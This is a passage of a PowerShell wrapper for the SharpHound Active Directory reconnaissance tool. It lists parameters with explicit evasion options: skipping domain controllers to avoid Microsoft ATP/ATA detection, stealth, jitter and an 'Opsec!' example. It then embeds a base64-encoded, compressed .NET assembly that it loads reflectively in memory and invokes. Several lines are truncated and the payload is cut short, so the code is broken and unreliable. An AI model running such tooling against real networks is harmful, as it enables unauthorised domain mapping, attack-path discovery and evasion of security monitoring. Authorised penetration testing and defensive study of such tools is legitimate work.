
Skip checking of PwdLastSet time for computer scanning

.PARAMETER ExcludeDCs

Exclude domain controllers from enumeration (usefult o avoid Microsoft ATP/ATA)


.PARAMETER Throttle
Throttle requests to computers (in milliseconds)
.PARAMETER Jitter
Add jitter to throttle

.PARAMETER Threads

Number of threads to run enumeration with (Default: 50)

.PARAMETER SkipRegistryLoggedOn

Disable remote registry check in LoggedOn collection

.PARAMETER OverrideUserName
Override username to filter for NetSessionEnum
.PARAMETER RealDNSName
Overrides the DNS name used for API calls
.PARAMETER CollectAllProperties
Collect all string LDAP properties on objects

.PARAMETER Loop

Perform looping for computer collection

.PARAMETER LoopDuration
Duration to perform looping (Default 02:00:00)
.PARAMETER LoopInterval
Interval to sleep between loops (Default 00:05:00)
.PARAMETER StatusInterval
Interval for displaying status in milliseconds
.PARAMETER Verbosity
Change verbosity of output. Default 2 (lower is more)
.PARAMETER Help
Display this help screen
.PARAMETER Version
Display version information
.EXAMPLE
PS C:\> Invoke-BloodHound
Executes the default collection options and exports JSONs to the current directory, compresses th
and then removes the JSON files from disk
.EXAMPLE
PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00
Executes session collection in a loop. Will wait 1 minute after each run to continue collection
and will continue running for 10 minutes after which the script will exit
.EXAMPLE
PS C:\> Invoke-BloodHound -CollectionMethods All
Runs ACL, ObjectProps, Container, and Default collection methods, compresses the data to a zip
and then removes the JSON files from disk
.EXAMPLE
PS C:\> Invoke-BloodHound -CollectionMethods DCOnly -NoSaveCache -RandomizeFilenames -E
(Opsec!) Run LDAP only collection methods (Groups, Trusts, ObjectProps, ACL, Containers, GPO
Randomizes filenames of the JSON files and the zip file and adds a password to the zip file
#>
[CmdletBinding(PositionalBinding = $false)]
param(
[Alias("c")]
[String[]]
$CollectionMethods = [String[]]@('Default'),
[Alias("d")]
[String]
$Domain,

[Alias("s")]
[Switch]
$SearchForest,
[Switch]
$Stealth,
[String]
$LdapFilter,
[String]
$DistinguishedName,
[String]
$ComputerFile,
[ValidateScript({ Test-Path -Path $_ })]
[String]
$OutputDirectory = $( Get-Location ),
[ValidateNotNullOrEmpty()]
[String]
$OutputPrefix,
[String]
$CacheName,
[Switch]
$MemCache,
[Switch]
$RebuildCache,
[Switch]
$RandomFilenames,
[String]
$ZipFilename,

[Switch]
$NoZip,

[String]
$ZipPassword,

[Switch]
$TrackComputerCalls,

[Switch]
$PrettyPrint,
[String]
$LdapUsername,
[String]
$LdapPassword,
[string]
$DomainController,
[ValidateRange(0, 65535)]
[Int]
$LdapPort,
[Switch]
$SecureLdap,

[Switch]
$DisableCertVerification,
[Switch]
$DisableSigning,
[Switch]
$SkipPortCheck,
[ValidateRange(50, 5000)]
[Int]
$PortCheckTimeout = 500,
[Switch]
$SkipPasswordCheck,
[Switch]
$ExcludeDCs,
[Int]
$Throttle,
[ValidateRange(0, 100)]
[Int]
$Jitter,
[Int]
$Threads,
[Switch]
$SkipRegistryLoggedOn,
[String]
$OverrideUsername,
[String]
$RealDNSName,
[Switch]
$CollectAllProperties,
[Switch]
$Loop,
[String]
$LoopDuration,
[String]
$LoopInterval,
[ValidateRange(500, 60000)]
[Int]
$StatusInterval,

[Alias("v")]
[ValidateRange(0, 5)]
[Int]
$Verbosity,
[Alias("h")]
[Switch]
$Help,
[Switch]
$Version
)
$vars = New-Object System.Collections.Generic.List[System.Object]

if(!($PSBoundParameters.ContainsKey("help") -or $PSBoundParameters.ContainsKey("version"))){


$PSBoundParameters.Keys | % {
if ($_ -notmatch "verbosity"){
$vars.add("--$_")
if($PSBoundParameters.item($_).gettype().name -notmatch "switch"){
$vars.add($PSBoundParameters.item($_))
}
}
elseif ($_ -match "verbosity") {
$vars.add("-v")
$vars.add($PSBoundParameters.item($_))
}
}
}
else {
$PSBoundParameters.Keys |? {$_ -match "help" -or $_ -match "version"}| % {
$vars.add("--$_")
}
}

$passed = [string[]]$vars.ToArray()
$EncodedCompressedFile = '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
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromB
$UncompressedFileBytes = New-Object Byte[](1342464)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1342464) | Out-Null
$Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
$BindingFlags = [Reflection.BindingFlags] "Public,Static"
$a = @()
$Assembly.GetType("Costura.AssemblyLoader", $false).GetMethod("Attach", $BindingFlags).Invoke
$Assembly.GetType("Sharphound.Program").GetMethod("InvokeSharpHound").Invoke($Null, @(,$pa
}

You might also like